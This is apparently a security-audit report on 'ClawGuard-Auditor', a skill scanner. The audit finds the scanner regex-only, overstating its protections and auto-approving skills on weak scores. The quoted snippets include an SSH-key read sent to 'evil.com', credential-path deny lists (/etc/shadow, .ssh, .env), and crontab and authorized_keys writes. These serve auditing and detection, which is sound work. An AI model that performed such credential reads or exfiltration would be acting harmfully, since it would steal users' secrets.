Back to skill

Security audit

ClawGuard-Auditor

Security checks for vulnerabilities and agentic risk

Overview

This security-auditing skill does scan local skill files, but it substantially overstates its protections and could give users false confidence before installing other skills.

Treat this as a lightweight heuristic scanner, not a trustworthy pre-install security gate. Do not rely on its clean result or auto-approval language for installing unfamiliar skills; use manual review and a better-contained scanner, especially for large target directories or high-risk skills.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (6)

T09 · Insecure Skill Coding Practices

Error
Location
src/sast-analyzer.js:318
Finding
Regex-Only Static Analysis Produces Security-Relevant False Negatives and False Positives<![CDATA[ ## Vulnerability Details **File Location**: `src/sast-analyzer.js:318-325, 365-380` **Vulnerability Type**: Inadequate static-analysis validation **Risk Level**: High ### Vulnerable Code ```javascript for (const file of files) { const content = fs.readFileSync(file, 'utf-8'); results.filesScanned++; results.linesScanned += content.split('\n').length; // Execute all rule checks const fileFindings = this.scanContent(content, file); results.findings.push(...fileFindings); } ``` ```javascript scanContent(content, filePath) { const findings = []; for (const [category, rules] of Object.entries(this.rules)) { for (const rule of rules) { if (rule.pattern.test(content)) { findings.push({ id: rule.id, category, severity: rule.severity, title: rule.title, description: rule.description, file: path.relative(process.cwd(), filePath), cwe: rule.cwe }); } } } return findings; } ``` ### Technical Analysis Every rule is applied as a regular expression against the complete textual contents of a file. The implementation does not parse language syntax, identify executable syntax nodes, distinguish comments and documentation from executable code, track values across variables, or perform control-flow and data-flow analysis. This causes false positives because examples in Markdown files and comments are treated as actual behavior. It also causes false negatives because dangerous operations can be hidden through aliases, computed property access, string concatenation, multiline expressions, wrappers, or indirect calls. Only one finding is generated per rule and file, even if the pattern occurs multiple times. Findings do not include the matched text or a source line, making independent verification difficult. ### Attack Path 1. An attacker creates a Skill containing a dangerous operation that the scanner is expected to detect. 2. The attack ...[truncated 941 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Parse supported languages into abstract syntax trees and inspect executable syntax nodes rather than raw text alone. 2. Add interprocedural taint and data-flow analysis for untrusted input reaching command, network, filesystem, and dynamic-code sinks. 3. Treat Markdown code blocks and comments as documentation findings rather than executable behavior unless the instructions direct the Agent to execute them. 4. Report every occurrence with the exact matched evidence, source line, column, and confidence. 5. Add normalization for aliases, computed properties, multiline expressions, and common wrappers. 6. Clearly mark regex-only checks as heuristic and prevent a clean heuristic scan from being represented as proof of safety. 7. Add regression tests covering both evasions and benign documentation examples. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
src/intent-drift-detector.js:188
Finding
Intent-Drift Detection Compares Incompatible Capability Taxonomies<![CDATA[ ## Vulnerability Details **File Location**: `src/auditor.js:115-137, 204-226`; `src/intent-drift-detector.js:188-214` **Vulnerability Type**: Incorrect security-policy comparison **Risk Level**: High ### Vulnerable Code ```javascript extractCapabilities(content) { const capabilities = []; const capPatterns = [ /文件\s*[读写增删改]/g, /网络\s*请求|发送|接收/g, /执行\s*(系统)?命令|shell|bash/g, /读取?\s*环境变量/g, /访问?\s*(敏感|隐私)/g, ]; capPatterns.forEach(pattern => { if (pattern.test(content)) { capabilities.push(pattern.source); } }); return [...new Set(capabilities)]; } ``` ```javascript extractAPICalls(content) { const apis = []; const apiPatterns = [ { pattern: /fs\.(read|write|unlink|mkdir|stat|readdir)/g, cap: 'fs_read_write' }, { pattern: /readFile|writeFile|readdir|statSync/g, cap: 'fs_sync' }, { pattern: /fetch|axios|http\.(get|post)|request/g, cap: 'network_request' }, { pattern: /net\.(connect|createServer)/g, cap: 'network_server' }, { pattern: /child_process|exec|spawn|execSync/g, cap: 'shell_execution' }, { pattern: /process\.env|getenv/g, cap: 'env_access' }, { pattern: /crypto\.|createCipher|createDecipher/g, cap: 'crypto_operation' }, ]; apiPatterns.forEach(({ pattern, cap }) => { if (pattern.test(content)) { apis.push(cap); } }); return [...new Set(apis)]; } ``` ```javascript detectUndeclaredCapabilities(declaredAnalysis, actualAnalysis) { const undeclared = []; const declaredTypes = declaredAnalysis.capabilities.map(c => c.type); const declaredRisks = declaredAnalysis.capabilities.map(c => c.risk); const highRiskAPIs = { 'shell_execution': 'System command execution', 'env_access': 'Environment variable access', 'network_server': 'Network service creation', 'crypto_operation': 'Cryptographic operation' }; actualAnalysis.capabilities.forEach(api => { if (api.risk === 'HIGH' || api.risk === 'MEDIUM') { const apiName ...[truncated 2200 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Define one canonical capability taxonomy, such as `filesystem.read`, `filesystem.write`, `process.execute`, `network.egress`, and `credentials.read`. 2. Map both declarations and detected APIs into that taxonomy before comparison. 3. Parse only designated frontmatter or capability sections instead of searching the entire documentation file. 4. Compare concrete scope, including permitted paths, destinations, commands, and data classes—not only broad capability names. 5. Preserve confidence and evidence for each inferred capability. 6. Replace the advertised semantic comparison with an implemented semantic model, or accurately document the mechanism as keyword-based. 7. Add tests proving that a declared network capability matches `network_request`, while unrelated documentation examples do not count as declarations. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
src/supply-chain-analyzer.js:35
Finding
Supply-Chain Audit Omits Advertised Vulnerability and Provenance Verification<![CDATA[ ## Vulnerability Details **File Location**: `src/supply-chain-analyzer.js:35-79, 96-137` **Vulnerability Type**: Incomplete dependency-security verification **Risk Level**: High ### Vulnerable Code ```javascript async analyze(skillInfo) { const results = { findings: [], hasVulnerabilities: false, hasTyposquatting: false, packageAnalysis: null, versionAnalysis: null }; const pkgPath = path.join(skillInfo.path, 'package.json'); if (fs.existsSync(pkgPath)) { try { const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf-8')); results.packageAnalysis = await this.analyzeDependencies(pkg); if (results.packageAnalysis.hasRisks) { results.hasVulnerabilities = true; results.findings.push(...results.packageAnalysis.findings); } } catch (e) { results.findings.push({ category: 'supply_chain', severity: 'INFO', title: 'Dependency analysis skipped', description: `Unable to parse package.json: ${e.message}` }); } } if (skillInfo.name) { const typosquattingResult = this.checkTyposquatting(skillInfo.name); if (typosquattingResult.isSuspicious) { results.hasTyposquatting = true; results.findings.push({ category: 'supply_chain', severity: 'CRITICAL', title: 'Possible typosquatting', description: `Skill name "${skillInfo.name}" may present a typosquatting risk`, details: typosquattingResult.details, recommendation: 'Verify the authenticity of the Skill through an official source' }); } } return results; } ``` ```javascript async analyzeDependencies(pkg) { const results = { dependencies: [], devDependencies: [], findings: [], hasRisks: false, riskSummary: { critical: 0, high: 0, medium: 0 } }; if (pkg.dependencies) { for (const [name, version] of Object.entries(pkg.dependencies)) { const analysis = this.analyzeDependency(name, ...[truncated 2378 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Resolve exact dependency and transitive versions from lockfiles. 2. Query maintained advisory sources such as OSV, GitHub Advisory Database, or an equivalent trusted service. 3. Verify package registry, integrity hashes, signatures where available, publisher provenance, and repository linkage. 4. Inspect `preinstall`, `install`, `postinstall`, `prepare`, and related lifecycle scripts. 5. Treat skipped or unavailable security checks as an explicit incomplete-scan state rather than a clean result. 6. Separate heuristic package-name warnings from confirmed vulnerabilities. 7. Remove unsupported CVE and provenance claims until the corresponding checks are implemented. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
src/supply-chain-analyzer.js:96
Finding
Dependency Risk Severity Counters and Findings Use Inconsistent Severity Values<![CDATA[ ## Vulnerability Details **File Location**: `src/supply-chain-analyzer.js:96-121` **Vulnerability Type**: Incorrect risk accounting **Risk Level**: Medium ### Vulnerable Code ```javascript async analyzeDependencies(pkg) { const results = { dependencies: [], devDependencies: [], findings: [], hasRisks: false, riskSummary: { critical: 0, high: 0, medium: 0 } }; if (pkg.dependencies) { for (const [name, version] of Object.entries(pkg.dependencies)) { const analysis = this.analyzeDependency(name, version); results.dependencies.push(analysis); if (analysis.isRisky) { results.hasRisks = true; results.riskSummary[analysis.severity]++; results.findings.push({ category: 'supply_chain', severity: analysis.severity === 'CRITICAL' ? 'CRITICAL' : 'HIGH', title: `Dependency risk: ${name}`, description: analysis.reason, recommendation: `Consider upgrading to a safe version or using an alternative` }); } } } } ``` ### Technical Analysis `riskSummary` defines lowercase keys, while `analyzeDependency()` returns uppercase severity values such as `MEDIUM` and `HIGH`. Accessing `results.riskSummary[analysis.severity]` therefore addresses an undefined property rather than the initialized counters. Incrementing it produces an invalid numeric result. The emitted finding also converts every non-critical severity into `HIGH`, so a medium-risk heuristic is incorrectly promoted. These inconsistencies corrupt summary output and prevent consumers from reliably interpreting severity. ### Attack Path 1. A target declares a scoped dependency, which `analyzeDependency()` classifies as `MEDIUM`. 2. The code increments `riskSummary.MEDIUM`, although only `riskSummary.medium` exists. 3. The summary count becomes invalid or remains absent from the expected field. 4. The finding is emitted as `HIGH` instead of `MEDIUM`. 5. Downstream policy o ...[truncated 436 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Use a single severity representation throughout the project, preferably an enum with uppercase values. 2. Initialize summary keys using the same representation: ```javascript riskSummary: { CRITICAL: 0, HIGH: 0, MEDIUM: 0, LOW: 0 } ``` 3. Preserve the original severity in generated findings: ```javascript severity: analysis.severity ``` 4. Validate severity before incrementing and reject unknown values. 5. Add unit tests for every severity and verify both summary counts and emitted finding levels. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
src/sast-analyzer.js:318
Finding
Unbounded Synchronous Recursive Scanning Enables Audit-Time Denial of Service<![CDATA[ ## Vulnerability Details **File Location**: `src/auditor.js:166-198`; `src/sast-analyzer.js:318-360` **Vulnerability Type**: Uncontrolled resource consumption **Risk Level**: Medium ### Vulnerable Code ```javascript scanExecutableFiles(dir, info) { if (!fs.existsSync(dir)) return; const entries = fs.readdirSync(dir, { withFileTypes: true }); for (const entry of entries) { const fullPath = path.join(dir, entry.name); if (entry.isDirectory() && !entry.name.startsWith('.')) { this.scanExecutableFiles(fullPath, info); } else if (entry.isFile()) { const ext = path.extname(entry.name); const isScript = ['.js', '.py', '.sh', '.bash'].includes(ext); const isPackage = ['package.json'].includes(entry.name); if (isScript || isPackage) { info.files.push({ path: path.relative(info.path, fullPath), type: ext.replace('.', '') || 'unknown', size: fs.statSync(fullPath).size }); if (isScript) { const content = fs.readFileSync(fullPath, 'utf-8'); info.actualCapabilities.push(...this.extractAPICalls(content)); } } } } } ``` ```javascript const scan = (d) => { if (!fs.existsSync(d)) return; const entries = fs.readdirSync(d, { withFileTypes: true }); for (const entry of entries) { if (entry.name.startsWith('.')) continue; const fullPath = path.join(d, entry.name); if (entry.isDirectory()) { scan(fullPath); } else if (extensions.includes(path.extname(entry.name))) { files.push(fullPath); } } }; ``` ```javascript for (const file of files) { const content = fs.readFileSync(file, 'utf-8'); results.filesScanned++; results.linesScanned += content.split('\n').length; const fileFindings = this.scanContent(content, file); results.findings.push(...fileFindings); } ``` ### Technical Analysis The auditor recursively traverses an untrusted target and reads each supported file fully int ...[truncated 1354 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Enforce configurable limits for recursion depth, file count, per-file bytes, aggregate bytes, scan time, and finding count. 2. Skip known generated or vendor directories such as `node_modules`, build output, coverage data, and caches. 3. Use iterative traversal to avoid recursive call-stack exhaustion. 4. Stream or chunk large files instead of reading them fully into memory. 5. Avoid scanning the same file independently in multiple phases where results can be shared. 6. Use asynchronous I/O or worker isolation so a scan cannot block the main Agent process. 7. Mark reports as incomplete when a resource limit is reached; never treat a partial scan as clean. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
cli.js:12
Finding
CLI Advertises Deep ML Analysis and Output Formats That Are Not Implemented<![CDATA[ ## Vulnerability Details **File Location**: `cli.js:12-34, 63-67`; `src/sast-analyzer.js:309-333` **Vulnerability Type**: Misleading or ineffective security controls **Risk Level**: Medium ### Vulnerable Code ```javascript const options = { skillPath: null, deep: args.includes('--deep'), output: null, format: 'table' }; for (let i = 0; i < args.length; i++) { if (args[i] === '--output' && args[i + 1]) { options.output = args[i + 1]; i++; } else if (args[i] === '--format' && args[i + 1]) { options.format = args[i + 1]; i++; } else if (!args[i].startsWith('--')) { options.skillPath = args[i]; } } ``` ```javascript if (options.output) { fs.writeFileSync(options.output, JSON.stringify(report, null, 2)); console.log(`Report saved to: ${options.output}`); } ``` ```javascript async analyze(skillPath, options = {}) { const results = { filesScanned: 0, linesScanned: 0, findings: [], summary: {} }; const files = this.collectFiles(skillPath); for (const file of files) { const content = fs.readFileSync(file, 'utf-8'); results.filesScanned++; results.linesScanned += content.split('\n').length; const fileFindings = this.scanContent(content, file); results.findings.push(...fileFindings); } results.summary = this.generateSummary(results.findings); return results; } ``` ### Technical Analysis The CLI parses `--format`, but report output is always serialized as JSON and the selected format is never consulted. The `--deep` option is passed to SAST analysis, but `analyze()` does not use the option. No ML anomaly-analysis module is present in the project. These options are represented as security capabilities in the user-facing documentation. A user can therefore believe that a deeper ML-assisted audit occurred when the execution was identical to the normal regex scan. ### Attack Path 1. A user receives an unfamiliar or suspicious Skill. 2. The user invokes the documente ...[truncated 808 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Implement the documented deep-analysis pipeline before accepting `--deep`. 2. Include a machine-readable list of completed, skipped, unavailable, and failed modules in every report. 3. Reject unsupported options with a nonzero exit status rather than silently ignoring them. 4. Implement explicit table, JSON, and Markdown serializers and route output through the selected format. 5. Remove claims of ML, semantic analysis, or enhanced scanning until those capabilities exist. 6. Add integration tests proving that deep mode executes additional modules and that each format produces distinct, valid output. ]]>
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (28)

Credential Access

High
Category
Privilege Escalation
Content
📋 发现的问题:
   1. 🔴 读取 SSH 私钥
      位置: SKILL.md 代码块
      代码: fs.readFileSync('/.ssh/id_rsa')
   2. 🔴 发送数据到恶意域名
      代码: http.request({ hostname: 'evil.com' })
Confidence
90% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
```bash
# 检查敏感文件访问
grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill

# 检查网络请求
grep -r "http\.\|fetch\|axios" /path/to/skill
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
```bash
# 检查敏感文件访问
grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill

# 检查网络请求
grep -r "http\.\|fetch\|axios" /path/to/skill
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
```bash
# 检查敏感文件访问
grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill

# 检查网络请求
grep -r "http\.\|fetch\|axios" /path/to/skill
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
```bash
# 检查敏感文件访问
grep -r "\.ssh\|\.aws\|/etc/passwd" /path/to/skill

# 检查网络请求
grep -r "http\.\|fetch\|axios" /path/to/skill
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
The declared behavior materially overstates the skill's capabilities: there is no demonstrable intent-deviation engine, supply-chain analysis logic, or ML detection pipeline in the provided skill file. Overclaiming in a security tool is risky because users may delegate approval decisions to an auditor that does not actually perform the promised checks.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
The declared behavior materially overstates the skill's capabilities: there is no demonstrable intent-deviation engine, supply-chain analysis logic, or ML detection pipeline in the provided skill file. Overclaiming in a security tool is risky because users may delegate approval decisions to an auditor that does not actually perform the promised checks.

Ae1

High
Category
analysis-evasion
Content
- Find and read the `SKILL.md` file in the target directory
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Tool Parameter Abuse

High
Category
Tool Misuse
Content
| `__import__()` | Dynamic imports | `__import__('os')` |
| `compile()` | Dynamic compilation | `compile(src, '', 'exec')` |
| `child_process.execSync` | Sync command execution | `execSync(cmd, {shell: true})` |
| `subprocess.Popen` | Process spawning | `Popen(shell=True)` |
| `os.system()` | Shell execution | `os.system(cmd)` |

#### High Risk Patterns (Block + Review)
Confidence
80% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Tool Parameter Abuse

High
Category
Tool Misuse
Content
| `__import__()` | Dynamic imports | `__import__('os')` |
| `compile()` | Dynamic compilation | `compile(src, '', 'exec')` |
| `child_process.execSync` | Sync command execution | `execSync(cmd, {shell: true})` |
| `subprocess.Popen` | Process spawning | `Popen(shell=True)` |
| `os.system()` | Shell execution | `os.system(cmd)` |

#### High Risk Patterns (Block + Review)
Confidence
80% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Credential Access

High
Category
Privilege Escalation
Content
| Skill Description | Actual Behavior | Intent Score | Action |
|------------------|-----------------|--------------|--------|
| "Weather Formatter" | Reads `~/.ssh/id_rsa` | 0.2 | REJECT |
| "File Organizer" | Spawns background process | 0.4 | REJECT |
| "Markdown Helper" | Makes HTTP POST to unknown domain | 0.3 | REJECT |
| "Calculator" | Writes to `/etc/cron` | 0.1 | REJECT |
Confidence
90% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
| Skill Description | Actual Behavior | Intent Score | Action |
|------------------|-----------------|--------------|--------|
| "Weather Formatter" | Reads `~/.ssh/id_rsa` | 0.2 | REJECT |
| "File Organizer" | Spawns background process | 0.4 | REJECT |
| "Markdown Helper" | Makes HTTP POST to unknown domain | 0.3 | REJECT |
| "Calculator" | Writes to `/etc/cron` | 0.1 | REJECT |
Confidence
90% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
| Skill Description | Actual Behavior | Intent Score | Action |
|------------------|-----------------|--------------|--------|
| "Weather Formatter" | Reads `~/.ssh/id_rsa` | 0.2 | REJECT |
| "File Organizer" | Spawns background process | 0.4 | REJECT |
| "Markdown Helper" | Makes HTTP POST to unknown domain | 0.3 | REJECT |
| "Calculator" | Writes to `/etc/cron` | 0.1 | REJECT |
Confidence
90% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
'/.pypirc/',

  // Environment & Config
  '/.env',
  '/.bashrc',
  '/.bash_profile',
  '/.zshrc',
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
// System
  '/etc/passwd',
  '/etc/shadow',
  '/etc/sudoers',
  '/etc/cron',
Confidence
95% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
| Pattern | Severity | Example |
|---------|----------|---------|
| Read critical path | HIGH | `readFile('/etc/passwd')` |
| Write to critical path | CRITICAL | `writeFile('/.ssh/authorized_keys')` |
| Modify cron | CRITICAL | `echo '* * * * *' >> /etc/crontab` |
| SSH key access | CRITICAL | `readFile('~/.ssh/id_rsa')` |
Confidence
90% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
The README presents the skill description and operating instructions in Chinese, and it does not indicate that the skill is region-specific or provide an opt-in language choice. Per the policy, forcing a specific language without user opt-in is a natural-language policy violation.

Lp3

Medium
Category
MCP Least Privilege
Confidence
92% confidence
Finding
The skill advertises broad auditing capabilities that inherently imply access to files, network indicators, environment references, and command-pattern inspection, yet it declares no explicit tool scope or permission boundaries. In a security-sensitive skill, missing permission declarations weakens containment and makes unintended or overbroad activation more dangerous.

Vague Triggers

Medium
Confidence
93% confidence
Finding
The top-level description is broad enough to match many generic audit, install, or inspection requests, increasing the chance of unintended activation. An overbroad security skill can insert itself into workflows unnecessarily and influence trust decisions outside a narrowly defined scope.

Natural-Language Policy Violations

Medium
Confidence
96% confidence
Finding
The primary description includes Chinese-language text as the user-facing skill description, but there is no indication that language selection is optional or that the skill is intentionally region-specific. This can violate language or locale policy when users have not opted into that language.

Vague Triggers

Medium
Confidence
90% confidence
Finding
The 'When to Use' section provides positive triggers but no limiting conditions, so the skill may activate on loosely related requests such as any repository review or external code addition. Ambiguous activation criteria are dangerous for a gatekeeping security skill because they can overreach and produce authoritative-sounding verdicts in the wrong context.

Autonomous Decision Making

Medium
Category
Excessive Agency
Content
| Classification | Score Range | Action |
|---------------|-------------|--------|
| **Trusted** | 80-100 | Auto-approve with standard logging |
| **Verified** | 60-79 | Approve with enhanced logging |
| **Unknown** | 40-59 | Manual review required |
| **Suspicious** | 20-39 | Deep audit required |
Confidence
89% confidence
Finding
The skill defines automated trust-based approval outcomes such as 'Auto-approve' based on provenance scoring. Autonomous approval logic in a security auditor is risky because weak or gameable heuristics can permit unsafe skills without human review.

Autonomous Decision Making

Medium
Category
Excessive Agency
Content
| Tier | Score Range | Color | Action |
|------|-------------|-------|--------|
| **TIER_0** | 0-10 | 🟢 GREEN | Auto-approve |
| **TIER_1** | 11-30 | 🟢 GREEN | Approve with logging |
| **TIER_2** | 31-50 | 🟡 YELLOW | Manual review |
| **TIER_3** | 51-70 | 🟠 ORANGE | Deep audit required |
Confidence
90% confidence
Finding
The tier table again prescribes 'Auto-approve' actions from computed scores, encouraging security decisions to be made solely by the skill. If the scoring model is incomplete or inaccurate, malicious or unsafe skills may be installed with excessive confidence.

Natural-Language Policy Violations

Medium
Confidence
93% confidence
Finding
This JavaScript file contains user-facing natural-language strings in Chinese, including the header, usage, options, examples, and runtime status text, with no indication that another language is available. That creates a locale/language policy concern because the skill imposes a specific language without user opt-in or documented justification.

Natural-Language Policy Violations

Medium
Confidence
85% confidence
Finding
This JavaScript file embeds core user-facing descriptions and status messages entirely in Chinese, such as the module description and audit-step output. The file does not indicate any user opt-in, locale selection, or region-specific justification, which creates a natural-language locale policy concern.

Static analysis

Detected: suspicious.dynamic_code_execution, suspicious.env_credential_access

Dynamic code execution detected.

Critical
Code
suspicious.dynamic_code_execution
Location
src/sast-analyzer.js:42

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
src/intent-drift-detector.js:16